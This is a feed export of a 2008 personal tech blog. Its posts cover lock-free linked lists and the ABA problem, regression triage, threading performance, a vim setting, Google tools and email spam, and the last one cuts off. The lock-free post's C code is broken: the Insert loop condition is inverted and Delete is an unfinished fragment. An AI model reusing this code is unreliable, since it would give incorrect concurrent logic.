/&gt;-----------------------------------------------&lt;br /&gt;Can a Singly linked list be made Lock free?&lt;br /&gt;&lt;br /&gt;hmm, Let me try for a solution..&lt;br /&gt;&lt;br /&gt;Probably we would need is a Compare and Swap (CAS) (or InterlockedExchange64() on Windows).&lt;br /&gt;&lt;br /&gt;Insertion:  Consider 'p' the node where new node 'n' is to be inserted.&lt;br /&gt;&lt;pre&gt;bool Insert( node *p, node * n)&lt;br /&gt;{&lt;br /&gt;    if (!p) return FALSE;&lt;br /&gt;&lt;br /&gt;       /*1) Read the variable p-&amp;gt;next in a local variable&lt;br /&gt;        *2) then Compare this local variable with the address from where we read initially.&lt;br /&gt;           if they both are same, then no other thread has changed the list, swap it. CAS will take care of this atomically.&lt;br /&gt;        *3) Here we dont care about ABA issue which we will discuss a little later.. */ &lt;br /&gt;&lt;br /&gt;    do {&lt;br /&gt;       local =  p-&amp;gt;next;  n-&amp;gt;next = local;&lt;br /&gt;    } while ( compareAndSwap( local, &amp;amp;p-&amp;gt;next,  n) == local) ;&lt;br /&gt;&lt;br /&gt;   return TRUE;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;Consider d be the node to be deleted, which is next of p&lt;br /&gt;bool Delete (node * p, node * d)&lt;br /&gt;{&lt;br /&gt;       do {&lt;br /&gt;              local = p-&amp;gt;next;&lt;br /&gt;              d-&amp;gt;next;&lt;br /&gt;       } while&lt;br /&gt;}&lt;/pre&gt;&lt;br /&gt;Idea is to take the next pointer of p in a local variable, Compare and Swap statement then compares the local variable with the given address (p-&amp;gt;next), If it has not changed, the value will be swapped with n in one single CPU instruction which is gauranteed to be atomic. CAS is more explained  &lt;a href="http://en.wikipedia.org/wiki/Compare_and_swap"&gt;on wiki here..&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Now from here starts another problem. The problem is called ABA. reminds me of popular band  ABBA.&lt;br /&gt;&lt;br /&gt;ABA is not a acronym :)&lt;br /&gt;&lt;br /&gt;Let me explain why the problem exists. Suppose a pointer has been deleted, the next malloc can return the same very pointer which has been recycled. Many popular memory managers do that for whatever  reasons. The basic problem with CAS is that it compares an address with a value. It's possible that between the time the old value is read and the time CAS is attempted, some other processors or threads change the memory location two or more times such that it acquires a value which matches the old value.&lt;br /&gt;&lt;br /&gt;i.e. The value of the address was Initially A, Before CAS was attempted, it was changed to B and changed back to A again. Will CAS realise that value of the address has been changed twice(or may be many more times). No.&lt;br /&gt;&lt;br /&gt;How does it affect our insert algorithm above? That will require more exaplanation:&lt;br /&gt;-----------------------------------------------&lt;br /&gt;This post is incomplete..I've to find time to finish this...&lt;br /&gt;-----------------------------------------------&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-7680964507540757393?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/7680964507540757393/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=7680964507540757393' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/7680964507540757393'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/7680964507540757393'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2008/10/lock-free-queues.html' title='Lock free Queues'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-3821008203297896257</id><published>2008-07-23T01:35:00.000-07:00</published><updated>2008-12-02T04:21:51.222-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='CoolTech'/><title type='text'>Users don't like bugs</title><content type='html'>&lt;a href="http://xmltech.files.wordpress.com/2008/07/image010.jpg"&gt;&lt;img class="alignnone size-medium wp-image-56" src="http://xmltech.wordpress.com/files/2008/07/image010.jpg?w=300" alt="" width="315" height="233" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Product Quality Guidelines: What can be done from engineering point of view to make users happy?&lt;br /&gt;&lt;br /&gt;1) Integrate &lt;a href="http://cruisecontrol.sourceforge.net/"&gt;CruiseControl&lt;/a&gt; (free software) to do daily builds. Find build breaks faster..&lt;br /&gt;&lt;br /&gt;2) Automated test-suite for Regression, run every day on daily builds.&lt;br /&gt;&lt;br /&gt;3) Automated emails to engineering for Regression failures.&lt;br /&gt;&lt;br /&gt;4) Fix for regression failures to be taken as P1&lt;br /&gt;&lt;br /&gt;5) All Code Checkins go through strict peer-code review (Code quality).&lt;br /&gt;&lt;br /&gt;6) Developers Add new test cases into regression as and when new features get in (a must).&lt;br /&gt;&lt;br /&gt;7) QA folks add new system test cases, Run randomization/Performance tests. Send weekly emails on the status.&lt;br /&gt;&lt;br /&gt;Make an attempt to keep your software Bug-free!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-3821008203297896257?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/3821008203297896257/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=3821008203297896257' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/3821008203297896257'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/3821008203297896257'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2008/07/users-don-like-bugs.html' title='Users don&amp;#39;t like bugs'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-5796166504632811067</id><published>2008-07-21T23:21:00.000-07:00</published><updated>2008-12-02T04:21:55.073-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='TechPhilosophy'/><title type='text'>Regression</title><content type='html'>&lt;a href="http://xmltech.wordpress.com/files/2008/07/image0052.jpg"&gt;&lt;img class="alignnone size-full wp-image-47" src="http://xmltech.wordpress.com/files/2008/07/image0052.jpg" alt="" width="568" height="346" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;When you fix one bug, there are 50% chances that you would introduce several* newer bugs. Thats a fact. Irrespective of how good programmer you are, Its very easy for a bug to crop in. Especially at the last hour, just before a release.&lt;br /&gt;&lt;br /&gt;If a bug is found at the last minute and a quick-fix can be made by the dev-team. What would you chose to do?&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;	&lt;li&gt;Fix the bug.&lt;/li&gt;&lt;br /&gt;	&lt;li&gt;Take it up in the next release, no checkins at the last hour. After all the qa-complete, regression tests and randomization/performance tests have been completed on a qualified build. Why take unnecessary risk of disqualifying/breaking any of it?&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;This is the dilemma every Dev-manager has to go-through.. Whether or not he/she choses to make the fix(or break the release!) depends on many factors.&lt;br /&gt;&lt;br /&gt;Decision to fix the bug should not be on how easy the fix is. It should be on how crucial is the fix for the success of the product?&lt;br /&gt;&lt;ol&gt;&lt;br /&gt;	&lt;li&gt;How many customers will it effect. If its one in four people(25%), than its a P1 blocker (P1-B). If its less than that, then probably the bug can go as a patch fix. Microsoft is famous for its SP1 and SP2 releases.&lt;/li&gt;&lt;br /&gt;	&lt;li&gt;Is it something the user will notice right away (P1) or is it a usability issue with the product&lt;/li&gt;&lt;br /&gt;	&lt;li&gt;Is there a work around?&lt;/li&gt;&lt;br /&gt;	&lt;li&gt;Is it one of the input-types which fails validation? Can an attacker misuse it? If yes, then its P1&lt;/li&gt;&lt;br /&gt;	&lt;li&gt;Remember how embarrassing the situation went for Bill Gates when Win-98 crashed right while doing its presentation (see &lt;a href="http://www.youtube.com/watch?v=-NsXHPq71Bs"&gt;Infamous Windows 98 crash&lt;/a&gt; ). Fixing that kind of bug is P1.&lt;/li&gt;&lt;br /&gt;&lt;/ol&gt;&lt;br /&gt;There can be other questions as well which a dev-manager needs to ask himself before the decision is made to checkin the fix.&lt;br /&gt;&lt;br /&gt;Remember generally the gut-feeling will be that everything will work. Hence the decision should be based on some rational thinking rather than the gut-feeling. In my opinion its wise to be pessimist rather than an optimist..because &lt;a href="http://en.wikipedia.org/wiki/Murphy's_law"&gt;Murphy&lt;/a&gt; is there and he is always watching...&lt;br /&gt;&lt;br /&gt;"if anything can go wrong, it will."&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-5796166504632811067?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/5796166504632811067/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=5796166504632811067' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/5796166504632811067'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/5796166504632811067'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2008/07/regression.html' title='Regression'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-8793607972451681903</id><published>2008-07-21T02:03:00.000-07:00</published><updated>2008-12-02T04:21:58.476-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='TechPain'/><title type='text'>Morality at workplace</title><content type='html'>&lt;a href="http://dilbert.com/strips/comic/2008-07-17/"&gt;&lt;img src="http://dilbert.com/dyn/str_strip/000000000/00000000/0000000/000000/10000/1000/100/17239/17239.strip.gif" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://dilbert.com/strips/comic/2008-07-18/"&gt;&lt;img src="http://dilbert.com/dyn/str_strip/000000000/00000000/0000000/000000/10000/1000/100/17240/17240.strip.gif" border="0" alt="" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-8793607972451681903?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/8793607972451681903/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=8793607972451681903' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/8793607972451681903'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/8793607972451681903'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2008/07/morality-at-workplace.html' title='Morality at workplace'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-7085351383241553585</id><published>2008-07-20T14:47:00.000-07:00</published><updated>2008-12-02T04:22:02.068-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='TechPain'/><category scheme='http://www.blogger.com/atom/ns#' term='Techno-Jazz'/><title type='text'>Kill the performance - Part 1</title><content type='html'>&lt;em&gt;An engineer was called to fix an expensive piece of machinery.. he came, thought deeply while looking at the machine.. took a hammer and hit the machine and it worked...soon he presented his bill to the customer.. 1000 bucks? for hitting with a hammer? The customer exclaimed.. &lt;/em&gt;&lt;br /&gt;&lt;br /&gt;&lt;em&gt;Nope only 10 for hitting, the rest to figure out where to hit...&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;Ask any customer how they would like there software to be: Bug free, works all the time &amp;amp; performing.&lt;br /&gt;&lt;br /&gt;All the engineers do the same mistake time and again. thats why I thought of writing down some of the mistakes i did to kill the performance of app's i've designed/coded.&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#000080;"&gt;Performance blunder #420: &lt;/span&gt;More the number of threads, the better. right?&lt;br /&gt;&lt;br /&gt;Not so right. Any multi threaded application is best performing when the number of threads is equal to the number of cores in the system. This is true when the application is non blocking.&lt;br /&gt;&lt;br /&gt;What exactly is blocking? Aren't system calls and a simple LOG statement to a file or a printf blocking? You must have noticed that Enabling logging to console(printf) drops the performance of the app by atleast 50%. Calling any system api will cause a software interrupt to change from user to kernel level which enables the underlying OS to context switch out the running thread and prioritize or time slice the cpu between other runnable threads. Hence, there is a chance that when you call a system api your thread gets context switched. but you see, thats not exacly blocking.&lt;br /&gt;&lt;br /&gt;Any system api which can potentially make the thread to sleep is a blocking call. For example: Waiting on a socket to read or write(the kernel puts the thread to sleep if the socket buffer is full) is a blocking call. Trying to write to a NFS file in sync mode is a blocking call. But writing down a buffer to a local file may not be a  blocking  call (citations needed).&lt;br /&gt;&lt;br /&gt;IMHO: maximum number of threads spawned in the app should be twice the number of cpu's in the system. There are Api's available to find the number of cores (cpu's) in the system.&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#000080;"&gt;Performance blunder #421&lt;/span&gt;: Queue up.&lt;br /&gt;&lt;br /&gt;For some unknown reason all developers tend to think that delegation of work to a different set of thread pool is a better design.&lt;br /&gt;&lt;br /&gt;I've seen the same mistake being done at two different organizations.&lt;br /&gt;&lt;br /&gt;Designing a network app? One thread pool to recv data, which then queues up new connections to another set of queue. The other thread pool picks up the work and finally queues it up for sending it out. The final set of thread pool does some more processing on the message before sending it out to the destination.&lt;br /&gt;&lt;br /&gt;Another app had a user defined pipeline with different components working on a message. Since the pipeline was user defined, any component could be invoked in any order. The design was to have different threapools for each component, and the message was enqueued to the component as the pipeline was processed.&lt;br /&gt;&lt;br /&gt;Both the apps were non performing. The bottleneck was simple: Queues.&lt;br /&gt;&lt;br /&gt;Thread Context should be dreaded by programmers as much as possible. Every time a work is to be delegated to a different thread. Hords of performance pit falls come into picture. First: the producer thread has to enqueue the msg into some shared queue which obviously will be mutex protected. The cost of involving a mutex itself is very high. Even if you have some sort of lock free queue, the cost of context switch involved will show up big time. All programmers should vow to do most processing inline in the same thread until the os itself decides to schedule them out. That's the essence of performance.&lt;br /&gt;&lt;br /&gt;Take the queue out and get the processing done inline. But the design enthusiasts will ask: If every component is calling other component inline, Won't it lead to spaghetti code? Yes, it might.. And thats where you need a good design. Design the flow of code inline, without queues, but keep the components segregated. Each component calls the other using an interface. Keep all components sources in different directories with individual .so or static libraries. All common code between components should go into a common/ folder which can be used by all. Keeping the interface and the directory structure (of the code) clean is the key here..&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-7085351383241553585?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/7085351383241553585/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=7085351383241553585' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/7085351383241553585'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/7085351383241553585'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2008/07/kill-performance-part-1.html' title='Kill the performance - Part 1'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-709959969513939554</id><published>2008-07-16T03:35:00.000-07:00</published><updated>2008-12-02T04:22:04.343-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Techno-Jazz'/><title type='text'>Annoying beep, flashes on using vim </title><content type='html'>Vim :help visualbell comes up with:&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#008000;"&gt;&lt;span style="color:#339966;"&gt;&lt;strong&gt;'visualbell' 'vb' &lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#666699;"&gt;&lt;span style="color:#333333;"&gt;Use visual bell instead of beeping.  The terminal code to display the visual bell is given with 't_vb'.  When no beep or flash is wanted, use ":set vb t_vb=". Note: When the GUI starts, 't_vb' is reset to its default value.  You might want to set it again in your |gvimrc|.   In the GUI, 't_vb' defaults to "&amp;lt;Esc&amp;gt;|f", which inverts the display for 20 msec.  If you want to use a different time, use "&amp;lt;Esc&amp;gt;|40f",  where 40 is the time in msec.&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Aha! Now I know from where I was getting those annoying visual flashes(for 20msec) when I was working on &lt;a href="http://en.wikipedia.org/wiki/GNU_Screen"&gt;GNU screen&lt;/a&gt; over vpn which was apparently slow.&lt;br /&gt;&lt;br /&gt;I searched and searched for how to disable this visual flash while editing source code with vim. But in vain.&lt;br /&gt;&lt;br /&gt;Now I know: set vb t_vb=&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-709959969513939554?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/709959969513939554/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=709959969513939554' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/709959969513939554'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/709959969513939554'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2008/07/annoying-beep-flashes-on-using-vim.html' title='Annoying beep, flashes on using vim '/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-4541338402970025322</id><published>2008-07-14T22:03:00.000-07:00</published><updated>2008-12-02T04:22:07.663-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='CoolTech'/><title type='text'>Yahoo: Google Desktop available for Linux</title><content type='html'>&lt;table border="0" cellspacing="0" cellpadding="0" width="750"&gt;&lt;br /&gt;&lt;tbody&gt;&lt;br /&gt;&lt;tr&gt;&lt;br /&gt;&lt;td width="170"&gt;&lt;img src="http://desktop.google.com/en/images/logo3.gif" border="0" alt="Google Desktop" width="150" height="55" /&gt;&lt;/td&gt;&lt;br /&gt;&lt;td width="580"&gt;&lt;br /&gt;&lt;table style="height:29px;" border="0" width="580"&gt;&lt;br /&gt;&lt;tbody&gt;&lt;br /&gt;&lt;tr&gt;&lt;br /&gt;&lt;td&gt;&lt;/td&gt;&lt;br /&gt;&lt;td align="right"&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;div id="download" style="border:1px solid #cccccc;text-align:center;margin-right:20px;"&gt;&lt;br /&gt;&lt;div style="padding:20px 10px;"&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;table border="0" cellspacing="0" cellpadding="0"&gt;&lt;br /&gt;&lt;tbody&gt;&lt;br /&gt;&lt;tr&gt;&lt;br /&gt;&lt;td style="background:transparent url('/linux/images/button-left.gif') repeat scroll 0 50%;width:16px;height:40px;"&gt;&lt;/td&gt;&lt;br /&gt;&lt;td style="background:transparent url('/linux/images/button-center.gif') repeat-x scroll 0 50%;padding-left:10px;padding-right:14px;padding-bottom:3px;height:40px;"&gt;&lt;a href="http://desktop.google.com/en/linux/download.html"&gt;Download Google Desktop&lt;/a&gt;&lt;/td&gt;&lt;br /&gt;&lt;td style="background:transparent url('/linux/images/button-right.gif') repeat scroll 0 50%;width:16px;height:40px;"&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;tr&gt;&lt;br /&gt;&lt;td colspan="3" align="center"&gt;&lt;span style="color:red;"&gt;New&lt;/span&gt;: Support for 64-bit Linux&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;strong&gt;&lt;br /&gt;&lt;/strong&gt;&lt;br /&gt;&lt;span style="font-size:11px;"&gt;&lt;a href="http://desktop.google.com/mac/index.html"&gt;&lt;br /&gt;&lt;/a&gt; &lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;table border="0" cellspacing="0" cellpadding="0" width="750"&gt;&lt;br /&gt;&lt;tbody&gt;&lt;br /&gt;&lt;tr&gt;&lt;br /&gt;&lt;td colspan="2" width="60%" valign="top"&gt;&lt;br /&gt;	&lt;li&gt;&lt;strong&gt;Search your computer&lt;/strong&gt; as easily as you search the web with Google&lt;/li&gt;&lt;br /&gt;	&lt;li&gt;&lt;strong&gt;Find information&lt;/strong&gt; in your documents, emails, web history, and more&lt;/li&gt;&lt;br /&gt;	&lt;li&gt;&lt;strong&gt;Launch applications and files&lt;/strong&gt; with just a few keystrokes&lt;/li&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;img style="border:1px solid blue;z-index:90;position:absolute;left:345px;top:168px;" src="//dictionarytip/skin/book.png" alt="" /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-4541338402970025322?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/4541338402970025322/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=4541338402970025322' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/4541338402970025322'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/4541338402970025322'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2008/07/yahoo-google-desktop-available-for.html' title='Yahoo: Google Desktop available for Linux'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-3456165071537568712</id><published>2008-07-08T07:53:00.000-07:00</published><updated>2008-12-02T04:22:10.780-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='CoolTech'/><category scheme='http://www.blogger.com/atom/ns#' term='Techno-Jazz'/><title type='text'>Google type in hindi</title><content type='html'>&lt;a href="http://www.google.com/transliterate/indic/"&gt;http://www.google.com/transliterate/indic/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://xmltech.files.wordpress.com/2008/07/googlehindi.jpg"&gt;&lt;img class="alignnone size-full wp-image-21" src="http://xmltech.wordpress.com/files/2008/07/googlehindi.jpg" alt="" width="267" height="154" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/895676791003522397-3456165071537568712?l=techno-jazz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techno-jazz.blogspot.com/feeds/3456165071537568712/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=895676791003522397&amp;postID=3456165071537568712' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/3456165071537568712'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/895676791003522397/posts/default/3456165071537568712'/><link rel='alternate' type='text/html' href='http://techno-jazz.blogspot.com/2008/07/google-type-in-hindi.html' title='Google type in hindi'/><author><name>born_in_the_woods</name><uri>http://www.blogger.com/profile/04530634241126133447</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://photos1.blogger.com/blogger/6732/1255/1600/images.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-895676791003522397.post-2239272133783142958</id><published>2008-07-05T21:56:00.000-07:00</published><updated>2008-12-02T04:22:15.673-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='TechPain'/><title type='text'>Won £1000,000 pounds!</title><content type='html'>Congratulations! your email address has won you £1000,000pounds in the ongoing NOKIA MOBILE/EMAIL PROMO&lt;br /&gt;&lt;br /&gt;&lt;a href="http://xmltech.files.wordpress.com/2008/07/nokia_spam.jpg"&gt;&lt;img class="alignnone size-medium wp-image-16" src="http://xmltech.wordpress.com/files/2008/07/nokia_spam.jpg?w=300" alt="" width="304" height="188" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;This is the email I received today morning..It went past spam filters inbuilt into google email..&lt;br /&gt;&lt;br /&gt;That made me thinking, what exactly is spam? And, most importantly, what is there Business model?&lt;br /&gt;&lt;br /&gt;99% of spam wants you to click on a web-site, to call a phone number, or send an order to a fax number, or fill a form.  Many of them advertise you of winning 100 thousands of dollars and the stories they tell are really interesting.&lt;br /&gt;&lt;br /&gt;As per statistics and estimates, the number of spam emails flowing on the internet per day:&lt;br /&gt;&lt;h4&gt;&lt;span class="mw-headline"&gt;In absolute numbers&lt;/span&gt;&lt;/h4&gt;&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;	&lt;li&gt;1978 - An e-mail spam advertising a DEC product presentation is sent by &lt;a title="Gary Thuerk" href="http://en.wikipedia.org/wiki/Gary_Thuerk"&gt;Gary Thuerk&lt;/a&gt; to 600 addresses, though software limitations meant only slightly more than half of the intended recipients actually received it.&lt;sup&gt;&lt;a href="http://en.wikipedia.org/wiki/E-mail_spam#cite_note-templetonsreact-27"&gt;[28]&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;&lt;br /&gt;	&lt;li&gt;2005 - (June) 30 billion per day&lt;sup&gt;&lt;a href="http://en.wikipedia.org/wiki/E-mail_spam#cite_note-ironport-26"&gt;[27]&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;&lt;br /&gt;	&lt;li&gt;2006 - (June) 55 billion per day&lt;sup&gt;&lt;a href="http://en.wikipedia.org/wiki/E-mail_spam#cite_note-ironport-26"&gt;[27]&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;&lt;br /&gt;	&lt;li&gt;2007 - (February) 90 billion per day&lt;/li&gt;&lt;br /&gt;	&lt;li&gt;2007 - (June) 100 billion per day&lt;sup&gt;&lt;a href="http://en.wikipedia.org/wiki/E-mail_spam#cite_note-28"&gt;[29]&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;100 billion per day! Thats H u g e...&lt;br /&gt;&lt;br /&gt;Why would anyone send 100 billion emails to complete strangers without making any money out of it...There has to be some business model, which keeps the business thriving. To find out that hidden money is the intention of this post..&lt;br /&gt;&lt;br /&gt;First something about spam. Wikipedia has an excellent writeup on it.. read &lt;a href="http://en.wikipedia.org/wiki/E-mail_spam"&gt;here&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;What are the most kind's of spam emails:&lt;br /&gt;&lt;br /&gt;1) Product Advirtisements&lt;br /&gt;&lt;br /&gt;&lt;a href="http://xmltech.files.wordpress.com/2008/07/2006-09-14-viagra-spam-emails-550.jpg"&gt;&lt;img class="alignnone size-medium wp-image-17" src="http://xmltech.wordpress.com/files/2008/07/2006-09-14-viagra-spam-emails-550.jpg?w=300" alt="" width="300" height="213" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;h3&gt;&lt;span class="mw-headline"&gt;scams&lt;/span&gt;&lt;/h3&gt;&lt;br /&gt;&lt;dl&gt; &lt;dd&gt;&lt;br /&gt;&lt;div class="noprint relarticle mainarticle"&gt;&lt;em&gt;Main article: &lt;a class="mw-redirect" title="Advance fee fraud" 